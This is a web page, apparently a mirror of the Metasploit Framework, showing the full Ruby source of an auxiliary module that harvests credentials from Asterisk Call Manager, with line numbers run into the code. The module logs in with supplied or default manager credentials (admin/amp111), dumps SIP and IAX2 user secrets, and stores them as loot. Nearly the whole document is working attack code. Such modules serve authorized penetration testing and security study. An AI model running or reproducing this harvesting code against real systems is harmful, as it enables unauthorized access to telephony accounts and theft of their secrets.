Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/asterisk_creds.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Asterisk Gather Credentials',12'Description' => %q{13This module retrieves SIP and IAX2 user extensions and credentials from14Asterisk Call Manager service. Valid manager credentials are required.15},16'Author' => 'bcoles',17'References' =>18[19['URL', 'http://www.asterisk.name/sip1.html'],20['URL', 'http://www.asterisk.name/iax2.html'],21['URL', 'https://www.voip-info.org/wiki/view/Asterisk+manager+API'],22['URL', 'https://www.voip-info.org/wiki-Asterisk+CLI']23],24'License' => MSF_LICENSE))25register_options [26Opt::RPORT(5038),27OptString.new('USERNAME', [true, 'The username for Asterisk Call Manager', 'admin']),28OptString.new('PASSWORD', [true, 'The password for the specified username', 'amp111'])29]30end3132def run33vprint_status 'Connecting...'3435connect36banner = sock.get_once3738unless banner =~ %r{Asterisk Call Manager/([\d\.]+)}39fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'40end4142print_status "Found Asterisk Call Manager version #{$1}"4344unless login45fail_with Failure::NoAccess, 'Authentication failed'46end4748print_good 'Authenticated successfully'4950@users = []51retrieve_users 'sip'52retrieve_users 'iax2'5354if @users.empty?55print_error 'Did not find any users'56return57end5859print_status "Found #{@users.length} users"6061cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials',62'Indent' => 1,63'Columns' => ['Username', 'Secret', 'Type']6465@users.each do |user|66cred_table << [ user['username'],67user['password'],68user['type'] ]69report_cred user: user['username'],70password: user['password'],71proof: "#{user['type']} show users"72end7374print_line75print_line cred_table.to_s7677p = store_loot 'asterisk.user.creds',78'text/csv',79rhost,80cred_table.to_csv,81'Asterisk User Credentials'8283print_good "Credentials saved in: #{p}"84rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e85print_error e.message86ensure87disconnect88end8990private9192def username93datastore['USERNAME']94end9596def password97datastore['PASSWORD']98end99100def report_cred(opts)101service_data = {102address: rhost,103port: rport,104service_name: 'asterisk_manager',105protocol: 'tcp',106workspace_id: myworkspace_id107}108109credential_data = {110origin_type: :service,111module_fullname: fullname,112username: opts[:user],113private_data: opts[:password],114private_type: :password115}.merge service_data116117login_data = {118core: create_credential(credential_data),119status: Metasploit::Model::Login::Status::UNTRIED,120proof: opts[:proof]121}.merge service_data122123create_credential_login login_data124end125126def send_command(cmd = '')127sock.put cmd128129res = ''130timeout = 15131Timeout.timeout(timeout) do132res << sock.get_once while res !~ /\r?\n\r?\n/133end134135res136rescue Timeout::Error137print_error "Timeout (#{timeout} seconds)"138rescue => e139print_error e.message140end141142def login143vprint_status "Authenticating as '#{username}'"144145req = "action: login\r\n"146req << "username: #{username}\r\n"147req << "secret: #{password}\r\n"148req << "events: off\r\n"149req << "\r\n"150res = send_command req151152return false unless res =~ /Response: Success/153154report_cred user: username,155password: password,156proof: 'Response: Success'157158report_service :host => rhost,159:port => rport,160:proto => 'tcp',161:name => 'asterisk'162true163end164165def retrieve_users(type)166vprint_status "Retrieving #{type.upcase} users..."167168req = "action: command\r\n"169req << "command: #{type} show users\r\n"170req << "\r\n"171res = send_command req172173if res =~ /Response: Error/ && res =~ /Message: Permission denied/174print_error 'Insufficient privileges'175return176end177178unless res =~ /Response: Follows/179print_error 'Unexpected reply'180return181end182183# The response is a whitespace formatted table184# We're only interested in the first two columns: username and secret185# To parse the table, we need the character width of these two columns186if res =~ /^(Username\s+)(Secret\s+)/187user_len = $1.length188pass_len = $2.length189else190print_error "'#{type} show users' is not supported"191return192end193194users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first195196if users.blank?197print_error "Did not find any #{type.upcase} users"198return199else200print_status "Found #{type.upcase} users"201end202203users.each_line do |line|204line.chomp!205user = line[0...user_len].sub(/\s+$/, '')206pass = line[user_len...(user_len + pass_len)].sub(/\s+$/, '')207@users << { 'username' => user, 'password' => pass, 'type' => type }208end209end210end211212213